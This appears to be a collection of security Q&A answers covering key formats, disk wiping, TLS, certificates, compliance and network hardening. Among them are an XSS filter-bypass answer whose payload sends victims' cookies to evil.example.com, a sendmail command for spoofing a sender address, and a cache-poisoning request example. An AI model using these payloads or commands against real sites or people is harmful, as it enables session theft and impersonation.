The modulus, this is common to both public and private keys.
The exponent, there is a seperate public exponent for the public key and private exponent for the private key.

So in theory A RSA private key doesn't have to contain the public key. In practice however.

Most practical private key formats contain additional information. They usually include the public exponent because it's actually useful to be able create a public key file from the private key file. They also normally include the raw p and q values and a handful of extra derived values to speed up private key operations.
The public key exponent is usually one of a handful of well-known values. On most RSA keys even if you have is the modulus and private exponent it would not be hard to figure out the public exponent by trial and error.

According to http://blog.oddbit.com/2011/05/08/converting-openssh-public-keys/ openssh uses the pkcs#1 private key format. According to http://tools.ietf.org/html/rfc3447#appendix-A.1.2 this format contains the modulus, the public and private exponents, both primes and a number of other values that are useful for optimising private key operations. Including the public key information does not appear to be optional.

So for RSA you are fine as you have already discovered you can easilly fish the public key parameters out of the private key structure.

For SSH with ECDSA it seems that the public key parameters are not normally stored as part of the private key but can be easilly derived from it. https://stackoverflow.com/questions/12480776/how-do-i-obtain-the-public-key-from-an-ecdsa-private-key-in-openssl

YMMV with other cryptosystems.


How to report getting an offer to put malware in my code

As a developer of extensions, under your developer console, you should be able to create a ticket in which an internal team might be able to further assist you or escalate this issue. I spoke with one of my coworkers about your question and that was his suggestion. Props goes to Brently for this suggestion. I hope this helps.


Will a switch only send data to its recipient?

A switch will try to only send traffic to its intended recipient. But it is not guaranteed. If the switch doesn't know where the recipient is, it will send the packet to all devices connected to the switch.

There are ways to make a switch forget where the intended recipient is (such as overflowing the CAM or MAC spoofing).

There are also ways to make individual computers send packets to some other MAC than the intended recipient (ARP spoofing and the like).

You should only consider a switched network to be a trusted network if you either trust every device connected to the network or the switch has some advanced security features to protect against all the attacks described above.

You'd be better off using a router, which is controlled by yourself only. If using your own router would mean an (extra) layer of NAT, you should use a bridging firewall instead.


How can you tell what certificate parameters were used with openssl?

... will tell you what key-exchange, cipher, and protocol was used by a website's SSL certificate.

This is wrong. Key exchange method, cipher and protocol are features of the TLS connection and not the certificate. In fact, these parameters are (mostly) independent of the certificate. They depend instead on the capabilities and configurations of the TLS stack in client and server.

The relevant features of the certificate are instead the type and the strength of the key (i.e. RSA-2048, ...), the issuing CA, and the signature algorithm used to sign the certificate (i.e. SHA-256, SHA-1, ...)

  I have the .csr, .pem files. I can ask, but I wanna know if there's a way to inspect.

openssl req -text will show you (among other things) the information about the public key for the CSR, while openssl x509  -text will show you additionally the issuer which signed the certificate and the signature algorithm used.

You don't know from this if the admin used the proper openssl commands to generate the CSR. You don't even know if if he used openssl at all or instead some other tools. You can only see the result.

In the worst case the certificate were generated by using a weak random generator and are thus insecure, like in the case of the Debian random generator bug.  But you will not be able to detect any broken random generator just from looking at the single certificate. And you also don't know how well your hosting provider protects the private key just from looking at the CSR or certificate.


How to add a cookies parameter to Dotdotpwn script

According to this github issue dotdotpwn isn't designed to have a cookie option. Although you can use -p option to specify your payload which can be a file that contains your request which may contain cookies. You can find more info about the payload module here and you can also check out some sample payload request files on the github repository.


The quick answer is that an HDD, or a modern SSD that supports SED, will be the easiest to remove data from. USB flash drives and SD cards are very difficult to remove data from. Note that product recommendations are off-topic here, so I can't (and don't wish to) look into the detailed capabilities of each piece of software you mentioned. You should find software which is capable of solving the task, armed with the information I am going to describe to you below.
HDD
There are two ways to wipe an HDD. First, you can overwrite the entire drive with random data or a fixed pattern. You should make sure you have disabled the HPA, as otherwise unallocated data may lie untouched in that area. This technique also has the downside that damaged sectors that are marked as bad but not completely unusable will not be wiped. You would need to manually mark all damaged sectors as good (which can cause problems) in order for this to be completely reliable.
The other technique is to use ATA Secure Erase. On most drives, this will cause the firmware of the drive to overwrite all data, including damaged sectors. Newer drives may transparently encrypt all data (SED), and secure deletion will involve nothing more than wiping the encryption key. Sadly there is no way to guarantee that a particular drive has implemented this properly.
SSD
Solid state drives are a bit different. Due to wear leveling, writing to a particular logical sector will not necessarily map to the physical sector of the same number. This makes deleting individual regions of the drive unreliable. However, these drives also have overprovisioning, which means that a good chunk of flash blocks are kept to the side for use if the drive becomes full. This way, even if your drive is showing 99% full, there is still plenty of free but unused blocks available for the wear leveling algorithm to use. Unfortunately, this overprovisioning space is not located at a fixed address, and a block that holds sensitive information one day may become a block in the overprovisioning space the next. As this area of the SSD cannot be read or written to, it is impossible to overwrite an entire SSD just by filling it up. You thus need to use another technique.
SSDs, like HDDs, typically support ATA Secure Erase. When this is supported, the drive firmware will be able to clear all data on the drive. Most modern SSDs, like some modern HDDs, use SED to speed up deletion. When this is supported, secure erasure can take a fraction of a second.
Another technique is to use TRIM, a command that allows the host to inform an SSD that a given sector or range of sectors are no longer needed. Issuing the TRIM command for any number of blocks will put them in the queue for the garbage collector. A properly-designed SSD will shortly thereafter securely erase the blocks that have been marked for destruction. While this feature is normally used to allow the drive to know what information is no longer needed (an SSD has no concept of a "deleted" file), it is completely possible to use TRIM on the entire drive.
USB and SD
A USB flash drive contains one or more flash memory chips, and a microcontroller. Like SSDs, they support wear leveling (albeit a more primitive type called dynamic wear leveling) and usually have some overprovisioning space. Unlike SSDs, they do not often conform to the ATA command set and thus do not support ATA Secure Erase or TRIM. Wiping data from these storage media is much more difficult. If the information on it is highly sensitive, then physical destruction is a must.


Can someone tell if you delete deleted files?

You are correct, in order for a file to be deleted the actual disk blocks it previously inhabited must be overwritten.  This is generally done with random data; for example, the Windows tool 'cipher' overwrites unused (e.g., formerly used) disk space with 0s, then 1s, and then random data.

If a forensic investigator were to look at your computer's disk, and you had wiped deleted files in this manner, he would notice that the "slack space" on the disk was filled with random data, and that there were few or no deleted files.  Let's say you deleted "readme.txt" and didn't wipe it; he'd find the contents of that former file, and say "Okay, here's a deleted text file."  Therefore, if he can't find deleted files of any sort then  he must conclude either a) you've never deleted a file or b) you've wiped your slack space to overwrite deleted files.  Obviously b) is more likely than a).

To put it a different way: if the resultant state of the wipe is random, then that very randomness is what tells the investigator that the disk has been "cleaned".

Some tools, such as PGP shred, will overwrite the single file you specify rather than cleaning up all slack space on the disk.  If sensitive files are shredded, and normal files are deleted as usual, then it would be harder for an investigator to prove that file wiping had occurred.


It depends on the application, but generally it is "yet another factor that must be taken into consideration". In addition to checking the content and type of uploaded files, saving uploaded files outside of web server's executable directories and a multitude of other necessary precautions.

For detailed information refer for example to the OWASP article on file upload.

In practice however attacks could utilize a web server's user account, so it is more a concern your disabling x permission for all users rather than limiting just other as one comment under the referenced answer suggest.


Having a password on your key protects against this exact thing.  You cannot use someone else's key if it is password protected.  Remember that if they do get their hands on your key, they can still try to brute force it, so make sure to use a strong password.  If you had not password protected your key, it could be used by anyone who had physical access to your computer with the key on it.


Are there more hacks done by social engineering, etc, than breaking the software system?

Simple answer.  That's no longer true, malware attacks are now most common.  However that doesn't mean they are most important to everyone.

Various bodies like SANS/CERT and so on publish statistics of incidents they handle (for example UK Cert Q3 2015 report).  Key quote:

  malware is, and remains, the greatest threat to cybersecurity.

And that seems to be clear across almost all domains and reports.  After that Phishing is almost universally listed second.  This doesn't match with the (old) conventional wisdom that most attacks are social because most malware attacks are now automated.  Instead of targeting one chosen machine, they are part of an massive automated attack looking for victims that match a given vulnerability.

By definition, however the statistics only cover the "unsuccessful" cases where the hackers get caught or don't even try to hide. For example there is a lack of reported cases where hardware was compromised during delivery.  That's probably because people only just started looking.  Apple seems to be a target for this and started checking all circuit boards.  Soon we might find out that it's an important case.  Or maybe they won't choose or be able to tell us:

  Many of the organizations were compromised and, therefore, out of
  compliance for months, and some for the duration of the study—meaning
  they never detected their compromises or outbound malicious
  communications, nor did they acknowledge warnings from the Norse
  response team.
  - quote from SANS health care report - nobody will ever investigate these cases

However the whole statistical approach is misleading.  It's "think like an engineer" instead of "think like an attacker".  The majority of malware is randomly attacking everyone and don't particularly care who they get.  For them the weakest link is the computer with the worst security.  Probably, because they are working in big companies who actually hire security people, most security people should be more worried about a targeted attacker such as an employee or overseas competitor who will be more likely to use a social attack simply because the cost of entry is lower than writing custom malware.  Even if an attacker is using malware for compromise, they may need to get it past your firewall.  They compromise one machine via a phishing mail and then 1000 more inside your company with a worm.  Does that count as one phishing attack and 1000 malware attacks?  In the statistics it does.


Privacy/Security with SSH Tunnels and QuickVPN

This configuration is known as split tunnelling - your VPN client only sends traffic destined for the office network over the VPN, and saves money in bandwidth utilization (and speeds up your web browsing) by not routing traffic destined for the internet over the VPN and out through the office web proxy.

A SSH tunnel is a point-to-point connection, not a method of internet access, and a SOCKS proxy is a server that acts as a go-between between your PC and the internet and is generally not available to home users.

Secure and private browsing is a pretty deep and broad field of knowledge - but it will require endpoint security (security software on your PC or a firewall you set up between your home network and the internet.) Home and home-office users generally rely on security software installed on their PC - if you have a Windows PC, you will need, at a minimum, decent anti-malware ("AV") and firewall software.

For secure browsing, here is a good overview for beginners.


Open a terminal and type: iwconfig

Do you see any wireless interfaces listed? Are they in 'Monitor' mode? It is possible that during a wireless penetration test, you put the wireless adapter in monitor mode using something like 'airmon-ng'. If so, bring it back using:

airmon-ng stop wlan0mon

(this is assuming that the monitor interface was called 'wlan0mon')

Also, check network in settings and see if a wireless interface is available there. If this is a VM, then you might not have access to the wireless interface because the host might be using it. If you are using a VM to host Kali, you need a USB wireless adapter (like an Alpha card) to be able to access wireless interace within Kali.


Does the .net mvc/iis stack support whitelists for bidirectional authentication for SSL/TLS connections?

Your question is rather unclear because every TLS connection is, by nature, bidirectional: it allows bytes to flow in both directions. I suppose that you mean connections where both the client and the server show a certificate.

On the client side, the server's certificate is accepted if all of the following hold:

The server's certificate can be validated, i.e. put at the end of a chain of certificates, that begins with a trusted root, and all the names, signatures and various extensions match along the chain.
The revocation status of all these certificates can be ascertained to be "not revoked" with fresh enough information (obtained from CRL and/or OCSP responses).
The expected server name, i.e. the name which appears in the URL that the client uses, appears in the server's certificate (in the Subject Alt Name extension, as per RFC 2818).

By default, the .NET client code will rely on the set of trusted roots valid for the account under which the client code runs; this is a fusion of the "Root" certificate stores for the "current user", "local machine" and "enterprise".

On the server side, the client's certificate can be validated by IIS. In that case, IIS has two modes:

clientCertificateMappingAuthentication: the client certificate is validated against the set of trusted roots of the server; the issuing CA (the one which immediately signed the client certificate) must be part of the enterprise NTAuth store; and then the UPN is extracted from the client certificate and looked up in the local Active Directory server. The part about the "NTAuth" store is where you can restrict client certificates.
iisClientCertificateMappingAuthentication: IIS does the job, not the AD server (i.e. that's what you do if the server is not part of a domain). After validation against trusted roots, IIS can do a "one-to-one mapping" in which a client certificate will be accepted only if it is bit-to-bit identical to a certificate registered into IIS, and then mapped to a specific identity.

There are many configuration options. And you can programmatically override most parts of the process. For instance, see this page for how to configure on the server a custom class for validating client certificates; with such a class, you can do everything you wish to do (but beware, you can also do some very weak things, such as trusting the certificate on face value without any validation).


Computationally simple, lightweight replacement for SSL/TLS

Edit: after some effort, I did re-implement a RAM-efficient SSL library, that can run in the kind of RAM amounts indicated below. It has many more features and flexibility than my previous creations, and yet it is still very small. More importantly, it is also opensource (MIT license). Enjoy: https://www.bearssl.org/

It is possible to implement a SSL/TLS client (or server) in about 21 kB of ARM code (thumb), requiring less than 20 kB of RAM when running(*). I know it can be done because I did it (sorry, not open source). Most of the complexity of TLS comes from its support of many kinds of cryptographic algorithms, which are negotiated during the initial handshake; if you concentrate on only one set of cryptographic algorithms, then you can strip the code down to something which is quite small. I recommend using TLS 1.2 with the TLS_RSA_WITH_AES_128_CBC_SHA256 cipher suite: for that one, you will only need implementations for RSA, AES and SHA-256 (for TLS 1.1 and previous, you would also need implementations for both MD5 and SHA-1, which is not hard but will spend a few extra kBytes of code). Also, you can make it synchronous (in plain TLS, client and server may speak simultaneously, but nothing forces them to do so) and omit the "handshake renegotiation" part (client and server perform an initial handshake, but they can redo it later on during the connection).

The trickiest part in the protocol implementation is about the certificates. The server and the client authenticate each other by using their respective private keys -- with RSA, the server performs a RSA decryption, while the client computes a RSA signature. This provides authentication as long as client and server known each other public keys; therefore, they send their public keys to each other, wrapped in certificates which are signed blobs. A certificate must be validated before usage, i.e. its signature verified with regards to an a priori known public key (often called "root CA" or "trust anchor"). The client cannot blindly use the public key that the server just sent, because it would allow man-in-the-middle attacks.

X.509 certificate parsing and validation is a bit complex (in my implementation, it was 6 kB of code, out of the 21 kB). Depending on your setup, you may have lighter options; for instance, if you can hardcode the server public key in the client, then the client can simply use that key and throw away the server certificate, which is "just a blob": no need for parsing, no certification, very robust protocol. You could also define your own "certificate" format. Another possibility is to use SRP, which is a key exchange mechanism where both parties authenticate each other with regards to the knowledge of a shared secret value (the magic of SRP is that it is robust even if the shared secret has relatively low entropy, e.g. is a password); use TLS_SRP_SHA_WITH_AES_128_CBC_SHA.

The point here is that even with a custom protocol, you will not get something really lighter than a stripped-down TLS, at least if you want to keep it robust. And designing a robust protocol is not easy at all; TLS got to the point of being considered as adequately secure through years of blood and tears. So it is really better to reuse TLS than inventing your own protocol. Also, this makes the code much easier to test (you can interoperate with existing SSL/TLS implementations).

(*) Out of the 20 kB of RAM, there is a 16.5 kB buffer for incoming "records", because TLS states that records may reach that size. If you control both client and server code, you can arrange for a smaller maximum record size, thus saving on the RAM requirements. Per-record overhead is not much -- less than 50 bytes on average -- so you could use 4 kB records and still have efficient communication.


How does websocket frame masking protect against cache poisoning?

That's a lot of questions. We'll stick just to the core problem and mitigation technique:

There's the chance that my connection may be proxied or otherwise examined by a caching proxy. And there's a decent chance that I can fool the proxy if I can get the right data into my request and the desired data into the response. The basic idea was demonstrated in a paper called Talking to Yourself for Fun and Profit.

As an attacking client, what I want to do is push content up to the server that contains a seemingly valid request string:

... something ...

GET /jquery-latest.min.js HTTP/1.1
Host: code.jquery.com
...
... something that triggers the desired response from the server

The only requirement is that you figure out a way to get the server to send you a desired string, which typically isn't too hard. Then the server predictably parrots back the desired response:

HTTP/1.1 200 OK
content-type: text/javascript

... my trojaned javascript file

As far as the server and client are concerned, we're just passing strings back and forth. No real reason for concern, no harm done, no possible vector for exploit.

But a proxy watching the traffic would see what looks a lot like an HTTP request, and then what looks a lot like an HTTP response. And if the proxy is naive enough (and many are), it will update its cache accordingly, so that the next time someone requests http://code.jquery.com/jquery-latest.min.js through the proxy, they'll get my trojaned version instead of the real CDN-delivered code.

To guard against this, the traffic in one direction (in this case client-to-server) is mildly scrambled. It doesn't have to be cryptographically secure as you don't care if someone can decode it. You just need to make sure that the client can't predict what string he'll be transmitting over the network. And since he can't predict his network traffic, he can't use this mechanism to trigger a proxy server to update its cache.

The proxy will only see a cacheable event if BOTH the request AND response contain what looks like HTTP traffic. So only one direction need to be jumbled.

This does not apply to XHR, since XHR requests are "normal" HTTP requests, and are well-understood by proxies.


Are TPM chips or the equiavlent required for FIPS 140-2 security level 1 compliance?

No, absolutely not. FIPS 140-2 level 1 is essentially a test that your cryptographic module:

uses approved algorithms;
implements those algorithms correctly;
does not leak like a sieve.

Software can be validated at FIPS 140 level 1, there is no need to involve special hardware. FIPS 140 level 1 does not indicate resistance against an attacker with hardware access, unless the hardware is part of the target of evaluation. If you have a requirement for FIPS 140 level 1 compliance, then using Bitlocker (an approved version thereof, under an approved version of Windows operating in FIPS mode) is sufficient, whether or not the secrets are stored in a TPM.

At FIPS 140 level 2, the hardware must be part of the target of evaluation, but the security requirement is limited to tamper-evidence. A TPM is overkill for that (TPMs offer tamper resistance, so in principle a suitably designed TPM-based system could reach FIPS 140 level 3, though there are sticky points, and going beyond level 2 is not likely to be practical). You can browse the list of (non-secret) FIPS-140 validated modules. Note that the list does not include Bitlocker+TPM combinations, and in fact no TPM has been certified at FIPS 140 level 2 so far.

One of the hurdles in certifying a TPM is that it includes a large number of algorithms, many of them non-approved. The TPM does not provide a good way to disable these algorithms or to isolate all FIPS mode data from non-FIPS mode data. Yet this would have to be done, and tracked not only during operation but through the lifetime of the TPM, since the TPM includes non-volatile storage. (How do you know a secret key stored in FIPS mode is not leaked to non-FIPS-mode where it's used to encrypt some data with a broken algorithm?) Another hurdle is that all certified algorithms undergo a self-test when the device boots, and this takes a while (TPMs have pretty slow chips).

By the way, if you do not have a legal or contractual requirement for FIPS conformance, and you don't need to quote FIPS conformance as a commercial argument, then don't worry about FIPS conformance. Especially at level 1, especially when running on a complex, open OS with a poor track record on security like Windows. FIPS conformance is not an indication of security, and AviD's law of regulatory compliance very much applies here: FIPS conformance reduces the risk of the penalties of non-conformance. If you're running under Windows, I recommend using Bitlocker, not because of any conformance, but because it was written by specialists, has been heavily tested, and is being actively maintained. That way, you can concentrate on the real weakness in your overall security, like the fact that 50% of your users are going to use 1234 as their PIN and the other 50% are going to use their birthday.


Deny access to IIS Server from IP local range

In IIS Manager, (if the sub-feature has been installed) there is a node for IP Address and Domain Restrictions which will allow you to determine which IP addresses you want to allow and/or deny either for a specific website or for all websites on the server.

If you don't see this node, it is because the sub-feature has not been installed.  In that case, from the Server Manager Dashboard window choose Add Roles and Features and navigate to the Server Roles node, and then to the Web Server role.  Under the Web Server role node there is a Security sub-node, and from there, check the box for the IP and Domain Restrictions item and save.  You should now be able to create IP allow and deny rules in IIS Manager for your website or the server.


How Does A Hacker Send Spam Emails from Gmail with Two Factor Turned On?

I am reacting to your comment:

  Message aren't in the sent folder. The from address is the address of the account. Not sure how this would be spoofed.

I think you just answered your own question: the "hacker" never got access to your account, they just sent an email and put your email address in the From: field in the header. That's like sending a letter and writing someone else's address in the Return Address section. There's no magic to it. See wikipedia/Email_spoofing for more info.

the From: header line is just text. Command-line email clients like sendmail allow you to set this when you send an email. Open your favourite linux terminal and try typing:

sendmail -f mtc40@gmail.com your.friend@gmail.com < email_contents.txt

and BAM! you just spoofed an email to your friend!

P.S. Another way to check if the hacker really got into your account is to look at the email in the receiving person's Gmail, open the details of the email and see if it looks like this:

If it was just a cheap spoof then there will be no encryption, and it won't be signed by gmail.com. If it was signed by gmail.com then your fears are justified.


The factory reset on any phone/computer shouldn't be trusted, as it can be modified by the system and thus becomes a heaven for malware that wishes to persist. This also applies to the Windows 8 "refresh my PC" feature, the "recovery partition" nonsense OEMs put up to avoid supplying $0,01 recovery DVDs (which are write-once media and can't be compromised) and any similar feature.

To properly "nuke and reinstall" a phone, you should use a known good machine to download a clean ROM image (either an official one or a third-party one you trust), reboot the device in bootloader/DFU mode (for iPhones) and then install the image (in the Android and Windows phone worlds, a nice bonus is that you have the chance to install a non carrier-branded ROM and say goodbye to their bloatware and lack of updates).

Theoretically the bootloader itself could be compromised and evil, and at this point there isn't much to do besides physically unsoldering the memory chips from the phone and writing a new firmware & bootloader to them from a clean machine. The only reason these attacks aren't more widespread is the same as for malicious BIOSes for PCs - the fact that this kind of malware isn't portable and targets only a single make/model of machine and the difficulty needed to develop such malware (a lot more complicated than your average malware running in userland).


Normally when doing a product evaluation you look at multiple factors:

What do you seek as minimum features to achieve the desired outcome (e.g. centrally managed, easy deployment, offline/online updates, HIDS/HIPS support, file integrity monitoring, etc...)
For AV specifically you want to look at coverage, this can be seen in most comparison websites (e.g. after submitting x amount of samples, how many were detected)
How fast do they update their sources
What's the cost

This is what I would normally put as part of an evaluation for AV.


What is the best way to know current attack for a server machine?

To prevent attacks, there are many tools and techniques you can use. I can't really go into all of that here. A fast few tips to get started:

Update everything
Configure your firewall
Configure user permissions and make sure processes that don't need root run as a user with minimal amount of permissions
Configure any network facing services (those you allowed on the firewall)
Consider if you need some sandboxing, such as firebird
Consider getting an IDS and configure it properly

As for what kinds of attacks exist, one of the best places to look would be the CVE Database. You should also follow bulletins from your CSIRT.


Stored Cross-Site Scripting Without Parentheses or Spaces

I'm assuming the following filter for my examples (it seems to match your description; I ignored the script and ; filter to simplify things, because you said you can get around them):

$hasSpace = preg_match('/\s/', $_GET['v']);
if ($hasSpace) {
    echo 'space!';
} else {
    $replaced = str_replace(array('(', ')'), '', $_GET['v']);
    echo 'link';
}

Include Stylesheet

It is possible to include a stylesheet via XSS like this:

">

You can now change the layout of the website, which isn't bad.

XSS via CSS

You can see one possible way of using CSS to execute JavaScript in the post I linked above (background-image: url('javascript:alert(document.cookie);'); it didn't work for me, but it might work for you).

And you can search the web for further possibilities (like expression for older versions of IE, etc).

Using onerror with space

  I don't really know how to utilize the

It basically says that if an error occurs, alert is to be called (with the error as argument). And then an error is created. If you use throw "XSS", then it will alert XSS.

Using onerror without space

The good thing? You don't even need a space: throw+1 works just as well.

If not only spaces, but all whitespace is filtered out, this will also not work. But you can change it to something, and it will still work (as something is not defined it will cause a reference error).

If space is filtered, but whitespace is not

If you have a filter like this: str_replace(array('(', ')', ' ') instead of the whitespace regex in my original code, you can replace space with + and do for example this:

"+onmouseover="document.location='http://evil.example.com/logger.php?c='%2Bdocument.cookie


They are just different wrappers for Windows ShellCode:

exe : standard PE format for Windows
exe-only: not sure on this on, never used it...
exe-service: runs as a service instead of a process
exe-small: creates smallest version of ShellCode (may include bad chars). Used for tight buffers
msi: wraps an executable in an MSI for auto execution when run
msi-nouac: MSI with no UAC


Minimum required processes with open ports on AWS?

You're correct, lsof on an AWS EC-2 does not really provide a good image of what can be accessed on your box from outside.  As you already cite in the question, AWS provides you with an extra firewall at a higher level (you can edit that from the user console).  Therefore your only concerns there are ntp and rpcbind against the local network.

AWS modifies the configuration of your machine by appending lines to /etc/rc.local (or at least it does on my Debian there), it does not use rpc.

I'll argue that you can disable pretty much everything, but this:

dhclient   2028     root    5u  IPv4   9031      0t0  UDP *:68

Since it is how your machine may get the local IP re-assigned, either by new DHCP or when the lease time finishes.  (The IPv6 version of the DHCP client at 546 is up to you.  You can certainly leave it, but can close it if you are paranoid.  Not having an IPv6 should not be problematic for a couple of years more.)

All the remaining pieces are up to you.  But a couple of things may be clever:

You certainly want SSH, but you do not need to run it on port 22.  Running SSH on a non standard port is common hardening practice.  (WARNING: remember to test this first!  You do not want to have SSH running on a port that the firewall will not allow you to connect.)
ntp is good to have, and it is a well tested piece of software.  You may or may not care about having the time synced.
If you do not know of a reason to have rpcbind, then you do not need it. The most common thing the rpc service are used for are network mounts (network filesystems), if the server is standalone there is no need for that.  (AWS disks do not use rpc to be mounted, they do it at virtualisation level.)
sendmail (probably postfix actually, your machine looks like a Debian) is already running on localhost as it should.
For a website you will be opening ports 80 and 443, but that is kind of obvious.


How do I act as a go-between for two parties that do not trust each other?

It sounds like your requirements are:

Party B has a wealth of content.
Party B would like to grant certain employees of Party A access to certain resources.
There are flexible access controls for controlling who has access to what.
Party B should be able to modify or revoke any access at any time.

Correct?

Lots of ways to skin this cat, in increasing order of complexity / cost:

The dumbest way is to set up a 3rd party document manager. At the simplest end of the spectrum is Google Drive that would give you the access control, and at the high end are enormous content platforms like SalesForce. Moving your content over one page at a time is clearly not ideal for various reasons.
See if whatever program the content is currently in has flexible enough access control rules. For example if the content is in Office365 or Confluence then you may be able to get away with giving them O365 accounts, or working with IT to give them network accounts that only have access to Confluence.
Look a product built to solve this specific problem. As a shameless plug, Entrust GetAccess is such a product that acts as a firewall / authentication wall, allowing you to specify which users are allowed to access which URLs.


ngrep can only capture packets which are seen by the network card in the sniffing system. Packets between router1 and router2 do not get send to the local network card. So you cannot ngrep these remote packets.


Setting up a Wordpress blog on another server pointing to a subdomain for security purposes

I'm trying to piece together what you are asking, but it seems to me that you want two web servers (not just virtual hosts), serving different content, both pointed to by names under the same second-level domain name (such as example.com).

That is,

www.example.com points to one server that runs your main ecommerce site, with the web shop and all that, but nothing else
blog.example.com points to another server that runs your blog and nothing else

You can do that. In fact, it isn't even an uncommon setup. If you broaden your horizons to Internet-wide web hosting, it is exactly what's being done all the time. Granted, most often people consolidate their own content on a single server to save on hosting costs and make things easier to manage, but there's no reason why you have to.

The security properties of such a setup, assuming that the servers do not know about each other (though you can link and reference material back and forth between them using plain web links), for each site, will be essentially identical to if you'd had only that one site and the other server didn't exist at all. In other words, someone who finds a vulnerability in your Wordpress setup will, in an ideal world, not be able to leverage that to gain access to your ecommerce site, or the other way around, any more than, say, a security problem on blogger.com allows exploiting a page on wordpress.com.


Where is the BurpSuite CA HTTPS certificate located?

Two ways to get the CA cert -

1) Make sure your browser is pointing to the Burp proxy Interface Url and Port and navigate to http://burp and click on "CA Certificate" on the top right. In your question, you had used \\ instead of //

2) On Burp, go to Proxy tab > Options Tab > 'Import/Export CA Certificate' Button in the "Proxy Listeners" section.

Load the CA cert on to the trusted CA certs store in the browser.......


SSRF PoC using fill="url(...)" with absolute path

You're trying to reproduce this vulnerability in your browser while the affected server used a different (unnamed) SVG parser with different behavior.

Your browser simply denies to load the pattern linked via <path fill="url(...)" ...> cross-domain because that would be an SOP violation. If referencing elements inside SVG files hosted on different domains was allowed, this could potentially be used by an attacker to extract information.

So, using your example, Firefox rightfully raises:

Security Error: Content at http://localhost/svgsop.html may not load data from http://server.com/otherpoc.svg.


Is there something like a portable GnuPG keychain?

OpenPGP smart cards do not store the public key. You can only use them together with a local copy of the key. As a consequence, you cannot use the various OpenPGP smart cards, including YubiKeys and Nitrokeys without leaving traces on the host machine.

You can use a GnuPG key ring on a thumb drive by moving the whole GnuPG home directory there, and either setting the --homedir option to gpg or the GNUPGHOME environment variable. From man gpg:

   --homedir dir
          Set  the  name  of the home directory to dir. If this option is not
          used, the home directory defaults to ‘~/.gnupg’.  It is only recognized
          when given on the command line.
          It also overrides any home directory  stated  through  the  environment
          variable  ‘GNUPGHOME’  or  (on  Windows  systems)  by  means  of  the
          Registry  entry  HKCU\Soft‐ware\GNU\GnuPG:HomeDir.

You could even use a USB thumb drive for your GnuPG home directory together  with a YubiKey to hold the private keys for use on (somewhat) untrusted machines.

Still pay attention to possible traces in the command line history, temp folder, system logs,  ... Using some operating system without leaving any traces is hardly possible.


storing username/email and password with a hash of the hash of the email/password?

Don't hash the usernames. For passwords, hash them using something like bcrypt or PBKDF2. Read this ASAP for more (also contains example source code).


Is it secure to use a keystore that stores the password as a reversibly encoded string?

I'm not really sure what the context of the linked documentation is... but it seems like an interface for interacting with a keystore like the Java Keystore.

If the password is used to decrypt private keys, then you'll need to store it in some form until you're done using it. That means storing the password, or decrypting all the private keys you need, and discarding the password. Either way, you'll be keeping something secret in memory.

This is the constant tension we face in security. The only truly secure private key or password is one you cannot access. But if the key or password is to be useful, it needs to be held in memory at some point in time.


Do certificates provide any benefit to subresource integrity?

Since only strong hash algorithms (i.e. sha-256 and better) are allowed for subsource integrity one can be pretty sure that the payload itself was not compromised. Still, the payload is not encrypted so any sensitive data contained in the payload can be sniffed. This is less likely when including public and static resources but might be the case if the server controls both the file including the script and the script itself.

Apart from that subsource integrity only protects the payload of the response. It does neither protect the response header nor the request against sniffing and manipulation so a man in the middle attacker could at least get the cookies from the request or could even modify existing or inject new cookies in the response. The first one might be used for tracking or depending on the cookie also identity theft or similar. The last one might be used for tracking too. Also, some web applications don't treat the cookies as some opaque value only but use them to store data in it. Changing an existing cookie or adding a new cookie might cause confusion or even cross site scripting, depending on how much the application trusts the cookie value. And the last one is what one tries to avoid when using subsource integrity.


Typically I wouldn't monitor my network traffic directly on the device that it's coming from. You often miss a lot of traffic that is hidden. I would recommand to put it on WLAN and then record all the traffic with a suitable network card (promiscuous mode).
Afterwards you can analyse it with Wireshark.
This way you can be 100% certain that you're seeing all the traffic.


Precedent for an in-house cardholder information server?

I don't have any specific resources to point to because, for better or worse, the PCI council typically defers to QSAs rather than attempting to cover each scenario that an organization my encounter.

Your QSA is responsible for determining exactly what you need to do in order to properly segment you other applications that you wish to keep out of scope. The segmentation usually requires placing system on different subnets with a firewall in between. The extent to which the data flows between the subnets needs to be restricted between the two networks is a good discussion to have with your QSA.

As a QSA, I don't agree with your statement that your application servers "can't connect to anything in the CDE". My interpretation is that traffic should be severely limited and have a strong business need. The DSS uses a flat network as an example of no segmentation--where there there is no access control between two networks whatsoever. On the other hand, it uses the example of "routers with strong access control lists" as an example of network segmentation.

While inbound traffic will most likely require some input from you QSA, outbound traffic is a little more flexible. If you can structure your network such that connections are initiated from inside of the CDE and out through the firewall, you will have much better security in place and a much easier time justifying the traffic.

Just my thoughts.


Refurbished laptop computer - any advice?

Update the motherboard firmware, manually, and reinstall the OS, reformatting the drive. It's not a complete guarantee of security, but it will get rid of 99% of the likely threats.

By "refurbished", not just "used", do you mean a proper manufacturer refurbished item? In that case your risk is somewhat lower than with a plain used item, as the manufacturer won't deliberately install malware.

There is no way to be absolutely certain. Theoretically, if you were a high value target, someone could even install a hardware chip to spy on you.


Bridging TLS handshake to leave private key in browser

There is no way to split the TLS handshake into three parts in the way you envision, i.e. that part of the handshake that comes from the original client, part from the "TLS bridging" service and part from the server.

One reason is that the Finished message from the client side  can not be constructed in a way that the server will accept it: The Finished message needs both the master secret and also a hash over all handshake messages. But since the master secret is only known to the original client and all handshake message are only known to the TLS bridging service (since it has added messages to the handshake) neither the original client nor the TLS bridging service has all information needed to construct the Finished message.

All you could do is create a full man in the middle proxy which results in a full TLS connection between client and bridging service and another one between bridging service and server. Of course the bridging service would then need to recreate the original server's certificate by using its own CA and the client would need to trust the CA of the bridging service.


Security implications of injection in api http request from frontend?

This depends on what you could do with an injection; article would be of your choice, but this needn't be helpful.

Nonetheless, if httpLibrary.get does take a URL string, you can easily inject this and return arbitrary data for article:

Setting articleId to @yourdomain.tld/yourpath should make everything in front of it a user name for http basic auth.


Encrypting my hard drive using bitlocker

All I can think of for an advantage to separating your OS and Data for encryption would be if your OS was compromised with malware but your Data was still "locked" and encrypted. It's definitely a benefit, but can be more headache than it's worth. If you're looking to prevent data access when the device is physically lost/stolen then it's not going to help much if any there.

Bitlocker works really simply and well as a full disk encryption solution if your PC has a TPM key built in anyways. It even lets you back up your encryption recovery key to your Microsoft Account (hopefully properly secured with two-factor) if you want so you can't lose it. This guide works well as an overview and helps if you have any questions on setup.


Is an Antivirus scan via network share equivalent to an offline scan of the system?

No, absolutely not.
As your trusted system requests the files from the untrusted system, a root kit can hide all bad files. The even can just be locked by a process, so your trusted client cannot access the files.
